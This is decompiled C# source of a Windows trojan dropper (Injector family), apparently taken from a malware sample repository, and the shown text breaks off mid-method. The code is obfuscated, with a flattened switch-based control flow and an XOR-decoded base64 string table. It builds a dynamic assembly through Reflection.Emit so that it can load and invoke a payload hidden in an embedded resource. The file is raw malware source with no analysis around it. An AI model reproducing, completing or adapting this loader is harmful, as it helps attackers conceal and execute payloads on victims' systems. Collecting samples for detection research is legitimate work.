MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e/.cs

1777 lines
63 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Text;
internal sealed class \uE008
{
public static string \uE000(int _param0) => string.Intern(\uE008.\uE000.\uE000.\uE001(_param0));
public static string \uE000 => "3b1c5fd1ae174948";
private sealed class \uE000
{
public static readonly \uE008.\uE000 \uE000;
static \uE000()
{
\uE009.\uE000();
\uE008.\uE000.\uE000 = new \uE008.\uE000();
}
private \uE000()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
label_2:
int num = -482737877;
TypeBuilder typeBuilder;
AppDomain currentDomain;
AssemblyName name;
ModuleBuilder moduleBuilder;
Stream stream;
AssemblyBuilder assemblyBuilder;
Type type;
while (true)
{
switch ((num ^ 478650879) + 4349747)
{
case 0:
this.\uE000(typeBuilder);
num = -482737875;
continue;
case 1:
assemblyBuilder = currentDomain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
num = -482737874;
continue;
case 2:
stream = (Stream) \uE011.\uE000(executingAssembly.GetManifestResourceStream(\uE008.\uE000));
num = -482737876;
continue;
case 3:
typeBuilder = moduleBuilder.DefineType("?", TypeAttributes.NotPublic);
num = -482737870;
continue;
case 4:
moduleBuilder = assemblyBuilder.DefineDynamicModule("?");
num = -482737873;
continue;
case 5:
type = typeBuilder.CreateType();
num = -482737872;
continue;
case 6:
type.InvokeMember("?", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, (Binder) null, (object) null, new object[2]
{
(object) stream,
(object) \uE008.\uE000
});
num = -482737880;
continue;
case 7:
currentDomain = AppDomain.CurrentDomain;
num = -482737878;
continue;
case 8:
name = new AssemblyName();
num = -482737879;
continue;
case 9:
name.Name = "?";
num = -482737871;
continue;
case 10:
goto label_10;
default:
goto label_2;
}
}
label_10:;
}
public MethodBuilder \uE000(TypeBuilder _param1)
{
MethodAttributes attributes = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
label_16:
int num1 = 161182891;
int num2 = -1131945097;
label_2:
num2 ^= 1126392999;
int num3;
int num4;
switch (num2 + 5994545)
{
case 0:
goto label_16;
case 1:
MethodBuilder methodBuilder;
while (true)
{
num1 ^= 162751255;
byte[] bytes;
ILGenerator ilGenerator;
string s;
Type type1;
BindingFlags bindingAttr1;
ConstructorInfo constructor1;
Label label1;
string[] strArray;
BindingFlags bindingAttr2;
MethodInfo method1;
MethodInfo method2;
MethodInfo method3;
Label label2;
Label label3;
MethodInfo method4;
MethodInfo method5;
MethodInfo method6;
ConstructorInfo constructor2;
MethodInfo method7;
Type type2;
MethodInfo method8;
ConstructorInfo constructor3;
MethodInfo method9;
MethodInfo method10;
Label label4;
MethodInfo method11;
Label label5;
MethodInfo method12;
MethodInfo method13;
MethodInfo method14;
MethodInfo method15;
Label label6;
switch (num1)
{
case 2627421:
bytes[69] = (byte) ((uint) bytes[69] ^ 61U);
num1 = 161182860;
continue;
case 2627422:
ilGenerator.Emit(OpCodes.Ldloc_1);
num1 = 161182927;
continue;
case 2627423:
s = "WT8OY3IKPCxJDEszF00CAUl5Pg9zSXQoJVQ0Wz1rQxxhfG9dBklqJAxFAC4LbztrSBAhSC8RdC9LSxEof18YAXldd25vWFgoQFV5dn0ha3s5KkNFIEVYBwIEbUo9GXtOaGtBdWBwExpFCXpTbjV8K28wAgRtMyBCQEwuIUcSQihOBW8hJx57JD1zRBAhE1hHQiZTWhgJQ0BVaVEvSVlbai9sYjwbE2NNVSg4HlxcVXUAEkcbPEgOTHYuY09NTgFbCEEOZikReSQiH34UZiUdbB1/ZyV0cX5gH0xWdWkBeHEFJWViSloycXwHWQc1SSMtNmUVIU4RfmMUIjVIQQJvCDVRDiNUGQ==";
num1 = 161184562;
continue;
case 2627424:
ilGenerator.DeclareLocal(typeof (StackTrace));
num1 = 161182948;
continue;
case 2627425:
constructor1 = type1.GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182870;
continue;
case 2627426:
bytes[85] = bytes[85];
num1 = 161184661;
continue;
case 2627427:
bytes[232] = (byte) ((uint) bytes[232] ^ 82U);
num1 = 161184514;
continue;
case 2627428:
bytes[152] = (byte) ((uint) bytes[152] ^ 48U);
num1 = 161182945;
continue;
case 2627429:
bytes[33] = (byte) ((uint) bytes[33] ^ 5U);
num1 = 161184534;
continue;
case 2627430:
bytes[189] = (byte) ((uint) bytes[189] ^ 35U);
num1 = 161182880;
continue;
case 2627431:
ilGenerator.MarkLabel(label1);
num1 = 161184516;
continue;
case 2627432:
bytes[182] = (byte) ((uint) bytes[182] ^ 106U);
num1 = 161184733;
continue;
case 2627433:
bytes[6] = (byte) ((uint) bytes[6] ^ 81U);
num1 = 161182884;
continue;
case 2627434:
method1 = typeof (AppDomain).GetMethod(strArray[13], bindingAttr2, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161184729;
continue;
case 2627435:
bytes[80] = (byte) ((uint) bytes[80] ^ 92U);
num1 = 161182881;
continue;
case 2627436:
ilGenerator.Emit(OpCodes.Ldloc_S, 5);
num1 = 161184702;
continue;
case 2627437:
bytes[(int) sbyte.MaxValue] = (byte) ((uint) bytes[(int) sbyte.MaxValue] ^ 70U);
num1 = 161184720;
continue;
case 2627438:
bytes[110] = (byte) ((uint) bytes[110] ^ 25U);
num1 = 161184625;
continue;
case 2627439:
bytes[139] = (byte) ((uint) bytes[139] ^ 43U);
num1 = 161184551;
continue;
case 2627440:
bytes[53] = (byte) ((uint) bytes[53] ^ 69U);
num1 = 161184569;
continue;
case 2627441:
method2 = typeof (BinaryReader).GetMethod(strArray[11], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161184662;
continue;
case 2627442:
bytes[210] = (byte) ((uint) bytes[210] ^ 6U);
num1 = 161182871;
continue;
case 2627443:
bytes[216] = (byte) ((uint) bytes[216] ^ 108U);
num1 = 161184612;
continue;
case 2627444:
bytes[57] = (byte) ((uint) bytes[57] ^ 13U);
num1 = 161184543;
continue;
case 2627445:
bytes[171] = (byte) ((uint) bytes[171] ^ 107U);
num1 = 161184652;
continue;
case 2627446:
bindingAttr2 = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic;
num1 = 161182792;
continue;
case 2627447:
bytes[130] = (byte) ((uint) bytes[130] ^ 10U);
num1 = 161184559;
continue;
case 2627448:
bytes[249] = (byte) ((uint) bytes[249] ^ 79U);
num1 = 161182921;
continue;
case 2627449:
bytes[83] = (byte) ((uint) bytes[83] ^ 35U);
num1 = 161182909;
continue;
case 2627450:
bytes[214] = (byte) ((uint) bytes[214] ^ 45U);
num1 = 161184528;
continue;
case 2627451:
bytes[167] = (byte) ((uint) bytes[167] ^ 57U);
num1 = 161182971;
continue;
case 2627452:
bytes[106] = (byte) ((uint) bytes[106] ^ 31U);
num1 = 161182856;
continue;
case 2627453:
bytes[35] = (byte) ((uint) bytes[35] ^ 56U);
num1 = 161182894;
continue;
case 2627454:
bytes[248] = (byte) ((uint) bytes[248] ^ 113U);
num1 = 161182831;
continue;
case 2627455:
bytes[118] = (byte) ((uint) bytes[118] ^ 84U);
num1 = 161184576;
continue;
case 2627456:
bytes[211] = (byte) ((uint) bytes[211] ^ 70U);
num1 = 161182954;
continue;
case 2627457:
method3 = type1.GetMethod(strArray[0], bindingAttr1, (Binder) null, new Type[1]
{
typeof (int)
}, (ParameterModifier[]) null);
num1 = 161184677;
continue;
case 2627458:
bytes[114] = (byte) ((uint) bytes[114] ^ 106U);
num1 = 161184650;
continue;
case 2627459:
ilGenerator.Emit(OpCodes.Br_S, label2);
num1 = 161182832;
continue;
case 2627460:
ilGenerator.Emit(OpCodes.Bne_Un_S, label3);
num1 = 161182951;
continue;
case 2627461:
ilGenerator.Emit(OpCodes.Ldarg_0);
num1 = 161182850;
continue;
case 2627462:
bytes[227] = (byte) ((uint) bytes[227] ^ 17U);
num1 = 161182859;
continue;
case 2627463:
bytes[17] = (byte) ((uint) bytes[17] ^ 29U);
num1 = 161182876;
continue;
case 2627464:
method4 = typeof (Stream).GetMethod(strArray[9], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161184548;
continue;
case 2627465:
bytes[87] = (byte) ((uint) bytes[87] ^ 110U);
num1 = 161184530;
continue;
case 2627466:
method5 = typeof (Stream).GetMethod(strArray[10], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182822;
continue;
case 2627467:
bytes[18] = (byte) ((uint) bytes[18] ^ 5U);
num1 = 161184538;
continue;
case 2627468:
ilGenerator.Emit(OpCodes.Ldloc_S, 6);
num1 = 161184564;
continue;
case 2627469:
bytes[175] = (byte) ((uint) bytes[175] ^ 24U);
num1 = 161182966;
continue;
case 2627470:
method6 = typeof (Type).GetMethod(strArray[4], bindingAttr2, (Binder) null, new Type[1]
{
typeof (RuntimeTypeHandle)
}, (ParameterModifier[]) null);
num1 = 161184660;
continue;
case 2627471:
ilGenerator.Emit(OpCodes.Newobj, constructor1);
num1 = 161182936;
continue;
case 2627472:
bytes[158] = (byte) ((uint) bytes[158] ^ 58U);
num1 = 161182935;
continue;
case 2627473:
bytes[193] = (byte) ((uint) bytes[193] ^ 32U);
num1 = 161184539;
continue;
case 2627474:
ilGenerator.Emit(OpCodes.Box, typeof (int));
num1 = 161182843;
continue;
case 2627475:
bytes[55] = (byte) ((uint) bytes[55] ^ 95U);
num1 = 161184535;
continue;
case 2627476:
bytes[146] = (byte) ((uint) bytes[146] ^ 39U);
num1 = 161184663;
continue;
case 2627477:
ilGenerator.Emit(OpCodes.Newobj, constructor2);
num1 = 161184701;
continue;
case 2627478:
bytes[166] = (byte) ((uint) bytes[166] ^ 2U);
num1 = 161182828;
continue;
case 2627479:
bytes[109] = (byte) ((uint) bytes[109] ^ 121U);
num1 = 161182841;
continue;
case 2627480:
ilGenerator.MarkLabel(label2);
num1 = 161184725;
continue;
case 2627481:
bytes[133] = (byte) ((uint) bytes[133] ^ 77U);
num1 = 161184563;
continue;
case 2627482:
bytes[230] = (byte) ((uint) bytes[230] ^ 81U);
num1 = 161184622;
continue;
case 2627483:
bytes[70] = (byte) ((uint) bytes[70] ^ 44U);
num1 = 161184675;
continue;
case 2627484:
bytes[228] = (byte) ((uint) bytes[228] ^ 62U);
num1 = 161182901;
continue;
case 2627485:
bytes[129] = (byte) ((uint) bytes[129] ^ 87U);
num1 = 161182816;
continue;
case 2627486:
bytes[126] = (byte) ((uint) bytes[126] ^ 45U);
num1 = 161182842;
continue;
case 2627487:
bytes[107] = (byte) ((uint) bytes[107] ^ 39U);
num1 = 161184542;
continue;
case 2627488:
ilGenerator = methodBuilder.GetILGenerator();
num1 = 161182839;
continue;
case 2627489:
bytes[254] = (byte) ((uint) bytes[254] ^ 6U);
num1 = 161184529;
continue;
case 2627490:
bytes[229] = (byte) ((uint) bytes[229] ^ 51U);
num1 = 161182861;
continue;
case 2627491:
ilGenerator.DeclareLocal(typeof (BinaryReader));
num1 = 161184695;
continue;
case 2627492:
bytes[186] = (byte) ((uint) bytes[186] ^ 16U);
num1 = 161182915;
continue;
case 2627493:
bytes[234] = (byte) ((uint) bytes[234] ^ 45U);
num1 = 161184602;
continue;
case 2627494:
bytes[8] = (byte) ((uint) bytes[8] ^ 114U);
num1 = 161182919;
continue;
case 2627495:
bytes[245] = (byte) ((uint) bytes[245] ^ 104U);
num1 = 161184698;
continue;
case 2627496:
bytes[3] = (byte) ((uint) bytes[3] ^ 37U);
num1 = 161184624;
continue;
case 2627497:
bytes[66] = (byte) ((uint) bytes[66] ^ 18U);
num1 = 161184517;
continue;
case 2627498:
bytes[84] = (byte) ((uint) bytes[84] ^ 27U);
num1 = 161182837;
continue;
case 2627499:
bytes[220] = (byte) ((uint) bytes[220] ^ 71U);
num1 = 161182953;
continue;
case 2627500:
bytes[46] = (byte) ((uint) bytes[46] ^ 90U);
num1 = 161182947;
continue;
case 2627501:
bytes[52] = (byte) ((uint) bytes[52] ^ 91U);
num1 = 161182823;
continue;
case 2627502:
bytes[132] = (byte) ((uint) bytes[132] ^ 67U);
num1 = 161182862;
continue;
case 2627503:
method7 = Type.GetType(strArray[18]).GetMethod(strArray[7], bindingAttr2, (Binder) null, new Type[1]
{
typeof (int)
}, (ParameterModifier[]) null);
num1 = 161184657;
continue;
case 2627504:
bytes[73] = (byte) ((uint) bytes[73] ^ 52U);
num1 = 161184596;
continue;
case 2627505:
ilGenerator.Emit(OpCodes.Add);
num1 = 161184667;
continue;
case 2627506:
ilGenerator.Emit(OpCodes.Stloc_1);
num1 = 161184676;
continue;
case 2627507:
bytes[7] = (byte) ((uint) bytes[7] ^ 73U);
num1 = 161182897;
continue;
case 2627508:
bytes[180] = (byte) ((uint) bytes[180] ^ 84U);
num1 = 161182882;
continue;
case 2627509:
bytes[181] = (byte) ((uint) bytes[181] ^ 39U);
num1 = 161182847;
continue;
case 2627510:
bytes[81] = (byte) ((uint) bytes[81] ^ 82U);
num1 = 161182975;
continue;
case 2627511:
bytes[190] = (byte) ((uint) bytes[190] ^ 47U);
num1 = 161184723;
continue;
case 2627512:
bytes[102] = (byte) ((uint) bytes[102] ^ 125U);
num1 = 161184673;
continue;
case 2627513:
bytes[36] = (byte) ((uint) bytes[36] ^ 61U);
num1 = 161184703;
continue;
case 2627514:
method8 = type2.GetMethod(strArray[1], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161184593;
continue;
case 2627515:
bytes[225] = (byte) ((uint) bytes[225] ^ 75U);
num1 = 161182917;
continue;
case 2627516:
bindingAttr1 = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic;
num1 = 161182817;
continue;
case 2627517:
bytes[30] = (byte) ((uint) bytes[30] ^ 45U);
num1 = 161184540;
continue;
case 2627518:
ilGenerator.Emit(OpCodes.Newobj, constructor3);
num1 = 161184591;
continue;
case 2627519:
bytes[93] = (byte) ((uint) bytes[93] ^ 70U);
num1 = 161184581;
continue;
case 2627520:
bytes[159] = (byte) ((uint) bytes[159] ^ 3U);
num1 = 161184572;
continue;
case 2627521:
bytes[20] = (byte) ((uint) bytes[20] ^ 22U);
num1 = 161182939;
continue;
case 2627522:
ilGenerator.Emit(OpCodes.Stloc_S, 4);
num1 = 161182866;
continue;
case 2627523:
bytes[188] = (byte) ((uint) bytes[188] ^ 40U);
num1 = 161182833;
continue;
case 2627524:
bytes[149] = (byte) ((uint) bytes[149] ^ 124U);
num1 = 161184735;
continue;
case 2627525:
bytes[224] = (byte) ((uint) bytes[224] ^ 98U);
num1 = 161182892;
continue;
case 2627526:
method9 = typeof (string).GetMethod(strArray[6], bindingAttr1, (Binder) null, new Type[1]
{
typeof (string)
}, (ParameterModifier[]) null);
num1 = 161182904;
continue;
case 2627527:
bytes[122] = (byte) ((uint) bytes[122] ^ 93U);
num1 = 161184668;
continue;
case 2627528:
bytes[32] = (byte) ((uint) bytes[32] ^ 53U);
num1 = 161182834;
continue;
case 2627529:
bytes[257] = (byte) ((uint) bytes[257] ^ 63U);
num1 = 161184519;
continue;
case 2627530:
bytes[125] = (byte) ((uint) bytes[125] ^ 123U);
num1 = 161182857;
continue;
case 2627531:
bytes[59] = (byte) ((uint) bytes[59] ^ 71U);
num1 = 161182950;
continue;
case 2627532:
bytes[21] = (byte) ((uint) bytes[21] ^ 61U);
num1 = 161184665;
continue;
case 2627533:
bytes[185] = (byte) ((uint) bytes[185] ^ 87U);
num1 = 161182899;
continue;
case 2627534:
bytes[163] = (byte) ((uint) bytes[163] ^ 89U);
num1 = 161184724;
continue;
case 2627535:
ilGenerator.Emit(OpCodes.Stloc_0);
num1 = 161184566;
continue;
case 2627536:
bytes[9] = (byte) ((uint) bytes[9] ^ 75U);
num1 = 161184636;
continue;
case 2627537:
bytes[49] = (byte) ((uint) bytes[49] ^ 43U);
num1 = 161184518;
continue;
case 2627538:
bytes[226] = (byte) ((uint) bytes[226] ^ 10U);
num1 = 161182865;
continue;
case 2627539:
bytes[241] = (byte) ((uint) bytes[241] ^ 8U);
num1 = 161184656;
continue;
case 2627540:
bytes[187] = (byte) ((uint) bytes[187] ^ 59U);
num1 = 161182932;
continue;
case 2627541:
bytes[63] = (byte) ((uint) bytes[63] ^ 111U);
num1 = 161184536;
continue;
case 2627542:
bytes[72] = (byte) ((uint) bytes[72] ^ 14U);
num1 = 161182887;
continue;
case 2627543:
bytes[195] = (byte) ((uint) bytes[195] ^ 8U);
num1 = 161184700;
continue;
case 2627544:
ilGenerator.Emit(OpCodes.Ldc_I4_1);
num1 = 161182886;
continue;
case 2627545:
ilGenerator.Emit(OpCodes.Stloc_2);
num1 = 161182959;
continue;
case 2627546:
bytes[199] = (byte) ((uint) bytes[199] ^ 77U);
num1 = 161184577;
continue;
case 2627547:
bytes[51] = (byte) ((uint) bytes[51] ^ 45U);
num1 = 161182906;
continue;
case 2627548:
bytes[100] = (byte) ((uint) bytes[100] ^ 15U);
num1 = 161182962;
continue;
case 2627549:
bytes[61] = (byte) ((uint) bytes[61] ^ 23U);
num1 = 161184610;
continue;
case 2627550:
bytes[250] = (byte) ((uint) bytes[250] ^ 27U);
num1 = 161182952;
continue;
case 2627551:
bytes[197] = (byte) ((uint) bytes[197] ^ 98U);
num1 = 161184621;
continue;
case 2627552:
bytes[0] = (byte) ((uint) bytes[0] ^ 30U);
num1 = 161184550;
continue;
case 2627553:
bytes[176] = (byte) ((uint) bytes[176] ^ 101U);
num1 = 161184734;
continue;
case 2627554:
bytes[155] = (byte) ((uint) bytes[155] ^ 107U);
num1 = 161184732;
continue;
case 2627555:
label3 = ilGenerator.DefineLabel();
num1 = 161184631;
continue;
case 2627556:
method10 = typeof (Type).GetMethod(strArray[3], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182873;
continue;
case 2627557:
bytes[101] = (byte) ((uint) bytes[101] ^ 5U);
num1 = 161182895;
continue;
case 2627558:
ilGenerator.Emit(OpCodes.Ldloc_3);
num1 = 161184670;
continue;
case 2627559:
bytes[99] = (byte) ((uint) bytes[99] ^ 54U);
num1 = 161182923;
continue;
case 2627560:
bytes[82] = (byte) ((uint) bytes[82] ^ 12U);
num1 = 161182830;
continue;
case 2627561:
ilGenerator.Emit(OpCodes.Callvirt, method5);
num1 = 161184731;
continue;
case 2627562:
bytes[256] = (byte) ((uint) bytes[256] ^ 90U);
num1 = 161182942;
continue;
case 2627563:
bytes[238] = (byte) ((uint) bytes[238] ^ 101U);
num1 = 161184638;
continue;
case 2627564:
bytes[168] = (byte) ((uint) bytes[168] ^ 52U);
num1 = 161182955;
continue;
case 2627565:
ilGenerator.Emit(OpCodes.Ldarg_1);
num1 = 161182875;
continue;
case 2627566:
ilGenerator.Emit(OpCodes.Ldarg_0);
num1 = 161184617;
continue;
case 2627567:
bytes[40] = (byte) ((uint) bytes[40] ^ 83U);
num1 = 161184614;
continue;
case 2627568:
ilGenerator.Emit(OpCodes.Ldloc_3);
num1 = 161184553;
continue;
case 2627569:
bytes[60] = (byte) ((uint) bytes[60] ^ 18U);
num1 = 161182922;
continue;
case 2627570:
bytes[28] = (byte) ((uint) bytes[28] ^ 79U);
num1 = 161182957;
continue;
case 2627571:
ilGenerator.DeclareLocal(typeof (int));
num1 = 161184522;
continue;
case 2627572:
bytes[47] = (byte) ((uint) bytes[47] ^ 6U);
num1 = 161184531;
continue;
case 2627573:
bytes[143] = (byte) ((uint) bytes[143] ^ 124U);
num1 = 161184666;
continue;
case 2627574:
bytes[153] = (byte) ((uint) bytes[153] ^ 7U);
num1 = 161184730;
continue;
case 2627575:
label2 = ilGenerator.DefineLabel();
num1 = 161184623;
continue;
case 2627576:
ilGenerator.Emit(OpCodes.Ldloc_2);
num1 = 161184579;
continue;
case 2627577:
bytes[121] = (byte) ((uint) bytes[121] ^ 35U);
num1 = 161182928;
continue;
case 2627578:
bytes[29] = (byte) ((uint) bytes[29] ^ 2U);
num1 = 161182890;
continue;
case 2627579:
ilGenerator.MarkLabel(label4);
num1 = 161184637;
continue;
case 2627580:
bytes[169] = (byte) ((uint) bytes[169] ^ 19U);
num1 = 161184647;
continue;
case 2627581:
bytes[212] = (byte) ((uint) bytes[212] ^ 17U);
num1 = 161184630;
continue;
case 2627582:
bytes[221] = (byte) ((uint) bytes[221] ^ 69U);
num1 = 161184643;
continue;
case 2627583:
bytes[251] = (byte) ((uint) bytes[251] ^ 13U);
num1 = 161184544;
continue;
case 2627584:
bytes[56] = (byte) ((uint) bytes[56] ^ 46U);
num1 = 161182819;
continue;
case 2627585:
bytes[34] = (byte) ((uint) bytes[34] ^ 31U);
num1 = 161182826;
continue;
case 2627586:
strArray = Encoding.UTF8.GetString(bytes).Split(';');
num1 = 161184573;
continue;
case 2627587:
ilGenerator.Emit(OpCodes.Callvirt, method10);
num1 = 161184554;
continue;
case 2627588:
bytes[48] = (byte) ((uint) bytes[48] ^ 45U);
num1 = 161182918;
continue;
case 2627589:
bytes[88] = (byte) ((uint) bytes[88] ^ 118U);
num1 = 161184696;
continue;
case 2627590:
bytes[(int) byte.MaxValue] = (byte) ((uint) bytes[(int) byte.MaxValue] ^ 122U);
num1 = 161182973;
continue;
case 2627591:
bytes[215] = (byte) ((uint) bytes[215] ^ 25U);
num1 = 161182820;
continue;
case 2627592:
bytes[58] = (byte) ((uint) bytes[58] ^ 99U);
num1 = 161182940;
continue;
case 2627593:
bytes[108] = (byte) ((uint) bytes[108] ^ 49U);
num1 = 161182848;
continue;
case 2627594:
bytes[79] = (byte) ((uint) bytes[79] ^ 31U);
num1 = 161182844;
continue;
case 2627595:
bytes[31] = (byte) ((uint) bytes[31] ^ 123U);
num1 = 161182943;
continue;
case 2627596:
bytes[194] = (byte) ((uint) bytes[194] ^ 105U);
num1 = 161182912;
continue;
case 2627597:
bytes[19] = (byte) ((uint) bytes[19] ^ 104U);
num1 = 161182934;
continue;
case 2627598:
bytes[223] = (byte) ((uint) bytes[223] ^ 16U);
num1 = 161182930;
continue;
case 2627599:
bytes[64] = (byte) ((uint) bytes[64] ^ 29U);
num1 = 161184512;
continue;
case 2627600:
bytes[258] = (byte) ((uint) bytes[258] ^ 99U);
num1 = 161184574;
continue;
case 2627601:
bytes[50] = (byte) ((uint) bytes[50] ^ 102U);
num1 = 161182924;
continue;
case 2627602:
bytes[67] = (byte) ((uint) bytes[67] ^ 85U);
num1 = 161184567;
continue;
case 2627603:
ilGenerator.Emit(OpCodes.Ldloc_S, 6);
num1 = 161182969;
continue;
case 2627604:
bytes[165] = (byte) ((uint) bytes[165] ^ 87U);
num1 = 161182849;
continue;
case 2627605:
bytes[233] = (byte) ((uint) bytes[233] ^ 84U);
num1 = 161182898;
continue;
case 2627606:
ilGenerator.Emit(OpCodes.Callvirt, method11);
num1 = 161184532;
continue;
case 2627607:
bytes[65] = (byte) ((uint) bytes[65] ^ 49U);
num1 = 161182910;
continue;
case 2627608:
bytes[45] = (byte) ((uint) bytes[45] ^ 33U);
num1 = 161182907;
continue;
case 2627609:
bytes[44] = (byte) ((uint) bytes[44] ^ 103U);
num1 = 161184527;
continue;
case 2627610:
ilGenerator.Emit(OpCodes.Blt_S, label5);
num1 = 161182956;
continue;
case 2627611:
bytes[178] = (byte) ((uint) bytes[178] ^ 34U);
num1 = 161184699;
continue;
case 2627612:
bytes[113] = (byte) ((uint) bytes[113] ^ 68U);
num1 = 161182869;
continue;
case 2627613:
ilGenerator.DeclareLocal(typeof (StackFrame));
num1 = 161184545;
continue;
case 2627614:
bytes[148] = (byte) ((uint) bytes[148] ^ 91U);
num1 = 161182931;
continue;
case 2627615:
bytes[27] = (byte) ((uint) bytes[27] ^ 58U);
num1 = 161182949;
continue;
case 2627616:
bytes[68] = (byte) ((uint) bytes[68] ^ 8U);
num1 = 161182794;
continue;
case 2627617:
ilGenerator.Emit(OpCodes.Ldc_I4_S, 8);
num1 = 161182885;
continue;
case 2627618:
bytes[120] = (byte) ((uint) bytes[120] ^ 16U);
num1 = 161182958;
continue;
case 2627619:
ilGenerator.Emit(OpCodes.Callvirt, method12);
num1 = 161184586;
continue;
case 2627620:
bytes[134] = (byte) ((uint) bytes[134] ^ 15U);
num1 = 161184546;
continue;
case 2627621:
bytes = Convert.FromBase64String(s);
num1 = 161182967;
continue;
case 2627622:
bytes[12] = (byte) ((uint) bytes[12] ^ 90U);
num1 = 161184583;
continue;
case 2627623:
ilGenerator.Emit(OpCodes.Blt_S, label1);
num1 = 161184649;
continue;
case 2627624:
bytes[23] = (byte) ((uint) bytes[23] ^ 108U);
num1 = 161184547;
continue;
case 2627625:
bytes[259] = (byte) ((uint) bytes[259] ^ 70U);
num1 = 161184589;
continue;
case 2627626:
methodBuilder = _param1.DefineMethod("?", attributes, typeof (void), new Type[2]
{
typeof (Stream),
typeof (string)
});
num1 = 161184645;
continue;
case 2627627:
bytes[160] = (byte) ((uint) bytes[160] ^ 65U);
num1 = 161184601;
continue;
case 2627628:
bytes[136] = (byte) ((uint) bytes[136] ^ 84U);
num1 = 161184671;
continue;
case 2627629:
ilGenerator.Emit(OpCodes.Ldc_I4_M1);
num1 = 161184642;
continue;
case 2627630:
bytes[54] = (byte) ((uint) bytes[54] ^ 13U);
num1 = 161182852;
continue;
case 2627631:
bytes[97] = (byte) ((uint) bytes[97] ^ 6U);
num1 = 161184603;
continue;
case 2627632:
bytes[140] = (byte) ((uint) bytes[140] ^ 96U);
num1 = 161184688;
continue;
case 2627633:
bytes[1] = (byte) ((uint) bytes[1] ^ 90U);
num1 = 161184686;
continue;
case 2627634:
bytes[90] = (byte) ((uint) bytes[90] ^ 10U);
num1 = 161184640;
continue;
case 2627635:
constructor2 = typeof (BinaryReader).GetConstructor(bindingAttr1, (Binder) null, new Type[1]
{
typeof (Stream)
}, (ParameterModifier[]) null);
num1 = 161184592;
continue;
case 2627636:
bytes[24] = (byte) ((uint) bytes[24] ^ 64U);
num1 = 161184694;
continue;
case 2627637:
bytes[135] = (byte) ((uint) bytes[135] ^ 86U);
num1 = 161184571;
continue;
case 2627638:
ilGenerator.DeclareLocal(typeof (string));
num1 = 161184587;
continue;
case 2627639:
bytes[252] = (byte) ((uint) bytes[252] ^ 47U);
num1 = 161184721;
continue;
case 2627640:
bytes[131] = (byte) ((uint) bytes[131] ^ 64U);
num1 = 161182905;
continue;
case 2627641:
bytes[243] = (byte) ((uint) bytes[243] ^ 26U);
num1 = 161184606;
continue;
case 2627642:
bytes[105] = (byte) ((uint) bytes[105] ^ 110U);
num1 = 161182827;
continue;
case 2627643:
bytes[237] = (byte) ((uint) bytes[237] ^ 34U);
num1 = 161182972;
continue;
case 2627644:
bytes[174] = (byte) ((uint) bytes[174] ^ 60U);
num1 = 161182874;
continue;
case 2627645:
ilGenerator.Emit(OpCodes.Stloc_3);
num1 = 161182961;
continue;
case 2627646:
ilGenerator.Emit(OpCodes.Ldstr, strArray[15]);
num1 = 161184682;
continue;
case 2627647:
bytes[75] = (byte) ((uint) bytes[75] ^ 19U);
num1 = 161184685;
continue;
case 2627648:
methodBuilder.DefineParameter(1, ParameterAttributes.None, "a");
num1 = 161184680;
continue;
case 2627649:
bytes[96] = (byte) ((uint) bytes[96] ^ 9U);
num1 = 161184568;
continue;
case 2627650:
bytes[151] = (byte) ((uint) bytes[151] ^ 50U);
num1 = 161182835;
continue;
case 2627651:
bytes[74] = (byte) ((uint) bytes[74] ^ 20U);
num1 = 161184552;
continue;
case 2627652:
bytes[16] = (byte) ((uint) bytes[16] ^ 38U);
num1 = 161182864;
continue;
case 2627653:
bytes[78] = (byte) ((uint) bytes[78] ^ 5U);
num1 = 161184541;
continue;
case 2627654:
method11 = typeof (MemberInfo).GetMethod(strArray[2], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182963;
continue;
case 2627655:
constructor3 = typeof (Hashtable).GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182877;
continue;
case 2627656:
bytes[77] = (byte) ((uint) bytes[77] ^ 104U);
num1 = 161184594;
continue;
case 2627657:
bytes[244] = (byte) ((uint) bytes[244] ^ 29U);
num1 = 161182896;
continue;
case 2627658:
ilGenerator.Emit(OpCodes.Ldloc_1);
num1 = 161184669;
continue;
case 2627659:
label5 = ilGenerator.DefineLabel();
num1 = 161182944;
continue;
case 2627660:
bytes[98] = (byte) ((uint) bytes[98] ^ 36U);
num1 = 161182960;
continue;
case 2627661:
bytes[235] = (byte) ((uint) bytes[235] ^ 102U);
num1 = 161184616;
continue;
case 2627662:
bytes[161] = (byte) ((uint) bytes[161] ^ 87U);
num1 = 161184728;
continue;
case 2627663:
ilGenerator.Emit(OpCodes.Callvirt, method9);
num1 = 161184588;
continue;
case 2627664:
bytes[13] = (byte) ((uint) bytes[13] ^ 40U);
num1 = 161184658;
continue;
case 2627665:
bytes[145] = (byte) ((uint) bytes[145] ^ 67U);
num1 = 161182851;
continue;
case 2627666:
bytes[94] = (byte) ((uint) bytes[94] ^ 61U);
num1 = 161184633;
continue;
case 2627667:
bytes[209] = (byte) ((uint) bytes[209] ^ 13U);
